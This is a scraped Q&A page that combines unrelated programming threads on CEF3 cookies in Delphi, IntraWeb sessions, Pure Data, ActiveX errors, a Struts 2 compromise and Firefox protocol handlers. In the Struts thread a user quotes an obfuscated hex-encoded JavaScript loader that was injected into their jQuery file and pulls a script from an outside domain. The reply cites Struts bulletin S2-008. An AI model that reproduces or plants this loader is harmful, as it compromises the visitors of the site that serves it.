What is the correct way to isolate cookies/users in Chromium embedded browser? - delphi

I have searched for days with no solution in sight.
I need multiple Chromium instances in one single application and each of this instance logins to the same site with different account (ex: outlook.com).
I tried this solution but there's no "OnGetCookieManager" event in DECF3 new version. Apparently there was a related bug and event onGetCookieManager was removed in the 1547 CEF3.
I tried this but it doesn't work too.
Is this really possible? How?
I'm using DCEF3 (revision: 0cc175e7a629) and Delphi XE3.

Here's what CEF3 maintainer told me:
"Cookies can be stored globally, per request context or something else entirely. It depends on whether you pass a CefRequestContext to CreateBrowser*() and what you return from CefRequestContextHandler::GetCookieManager."
I'm not entirely sure how CreateBrowser is exposed in Delphi (I only use the C++ API), but I can confirm that GetCookieManager still exists in trunk (as the only method of CefRequestContextHandler).

Related

Intraweb - web application - users sessions

Today I started to write my first web application and I can't pass one step.
Everything works almost fine... I can connect to the server and open website. Problem is when I open browser and type the same address on the second pc, then I get te same data as on the first one.
Detailed...
Application has two forms, first is for login, and second one is for receiving data.
When I login on the first pc and second form shows up, and then I open browser and put the address of the server on the second pc, I see the second form after login from first pc.
What I should do in this case? I tried to find the solution in the net, but I couldn't :(
If you are using any Delphi IDE after XE3 (including) and using the IntraWeb edition that comes with Delphi you must upgrade in order to have it working correctly. It is free, and more information can be obtained here:
http://atozed.com/IntraWeb/Download/FreeKeyRequest.EN.aspx|
After upgrading (if this is your case) I suggest you to take a look at one of the IntraWeb demos, here:
https://iwdemos.codeplex.com/SourceControl/latest
There is a demo named Features that shows you exactly how to create a multi form application. To be honest, I work with IntraWeb for a long time and I've never seen that. Unless you are using some global var to hold your "current" active form. Have in mind that IntraWeb is a fully multithreaded application and global vars should not be used, unless you have some mechanism protecting concurrent access (but you should get rid of them and use ServerController properties instead).
Thnks for your quick reply.
I work with Delphi from some time, but I never used Intraweb, I worked with ComPort and IP works for I/O devices. I have XE7 and I upgraded Intraweb to 14.0.52.
I can't find a good file exchange server to put my application for sharing with you. If I find somethin I will post it below.
You can check the code and other settings of my simply project. I put the web application inside the link below, it is without the .exe file.
https://www.dropbox.com/s/75zurcew0zr363x/Project1.rar?dl=0
Thanks for your help.

Pure Data windows:not supported, couldn't create

I am new to Pure Data and have no idea why the following are displayed after I clicked help:
I am using Windows 7 and pd-extended 0.43.4.
This error (xy ...could not crate) means that this abstraction or external failed to instantiate. It could be that you don't have it installed, or it is not in Pd's search path so it can't find it. In the patch you are opening those objects seem to be used. In your case that might be the help file.
This is an answer on the pd forum by user whale-av already,
whale-av:
[midiin] and [sysexin] are not supported in windows. Some people have written patches to get around the lack of sysex, and instead of midiin you can use [ctrlin] [notein] etc.
[powtorms~] [mstopow~] do not exist as far as I know even in vanilla for windows, and in the windows extended 0.43.4 release they do not. I remember seeing that they were in a Linux vanilla build, and in a very old Pd build for XP.... so you might be able to find them......... someone might have built them as an external that you could add to your pd/extra folder and then use them like any other object. If you have opened someone elses patch then it is possible that they used those objects in that patch, but you do not have them so they will not "create" and will just show the name in a red dotted box instead of a solid black outline.
[scalar] does not exist, but [scalar-help] does and that explains how to use scalars....... which use other objects but not [scalar]
So, basically, not all objects exist in all versions of Pd, and certainly not under all operating systems.

How to avoid "automation server can't create object" without changing the browser security settings?

Recently I got the error "automation server can't create object", for which I know the solution is to add your website to trusted sites and enable the setting: "Initialize and script ActiveX controls not marked as safe for scripting". But since this is a security issue, I searched for an alternative workaround but came up with nothing.
So, I am wondering if there is any other work around for this?
Please look at this SO question. Check if you did everything that was discussed there.
The first thing is to implement IObjectSafety interface. Then sign the activex and installer and CAB. You might also want to look at this example how to implement an activex.

struts 2 bug gaining root access to server

been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.

FireFox 6: implementing nsIProtocolHandler

Has something changed in Firefox 6 so I can no longer add my nsIProtocolHandler (and nsIChannel) implementation from an add-on just by registering it under a contract like #mozilla.org/network/protocol;1?name=myscheme?
I've checked all the interfaces I use if any changed (judging by a new
UUID), but I don't get a call to my getFactoryProc I list in NSModule,
like I did before.
Do I need to add a category (like http-startup or something?) or is
something else wrong?
(the code that worked in firefox 3.6 is still here I haven't committed
the new code yet...)
Update: I've logged this as a bug.
Update: Okay, I figured this out. See https://bugzilla.mozilla.org/show_bug.cgi?id=656331. Basically you need to export the right kVersion value in your module or the library will be unloaded immediately after it is loaded (i.e. the behavior you are observing). This behavior is new as of Firefox 5.
If you haven't updated to Firefox 4 yet then you need to change the way that you register your XPCOM component. See https://developer.mozilla.org/en/XPCOM/XPCOM_changes_in_Gecko_2.0. The sections on JS components or binary components are relevant depending on whether your component is implemented in JS or C++.

Resources